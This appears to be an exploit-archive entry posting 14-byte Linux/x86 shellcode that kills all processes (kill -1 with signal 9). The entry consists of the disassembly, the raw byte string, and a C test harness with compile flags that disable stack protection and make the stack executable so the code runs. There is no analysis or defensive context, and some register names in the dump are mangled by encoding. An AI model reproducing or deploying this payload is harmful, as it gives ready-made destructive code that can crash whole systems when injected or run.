Linux/x86 - Kill All Processes Shellcode (14 bytes)

2018-12-24 11:05:03

# Exploit Title: Linux/x86 - Kill All Processes Shellcode (14 bytes)
# Google Dork: None
# Date: 2018-12-08
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 14
# Description: Linux/x86 kill 9 -1 (14 bytes)
------------------------------[Description]---------------------------------

This shellcode will kill all processes

-----------------------------[Shellcode Dump]---------------------------------

08048060 <_start>:
8048060: 31 c0 xor êx,êx
8048062: 50 push êx
8048063: b0 25 mov $0x25,%al
8048065: bb ff ff ff ff mov $0xffffffff,ëx
804806a: b1 09 mov $0x9,%cl
804806c: cd 80 int $0x80

-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

-----------------------------[C-Code]-----------------------------

#include<stdio.h>
#include<string.h>

unsigned char code[] = "\x31\xc0\x50\xb0\x25\xbb\xff\xff\xff\xff\xb1\x09\xcd\x80";
main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

Fixes

No fixes

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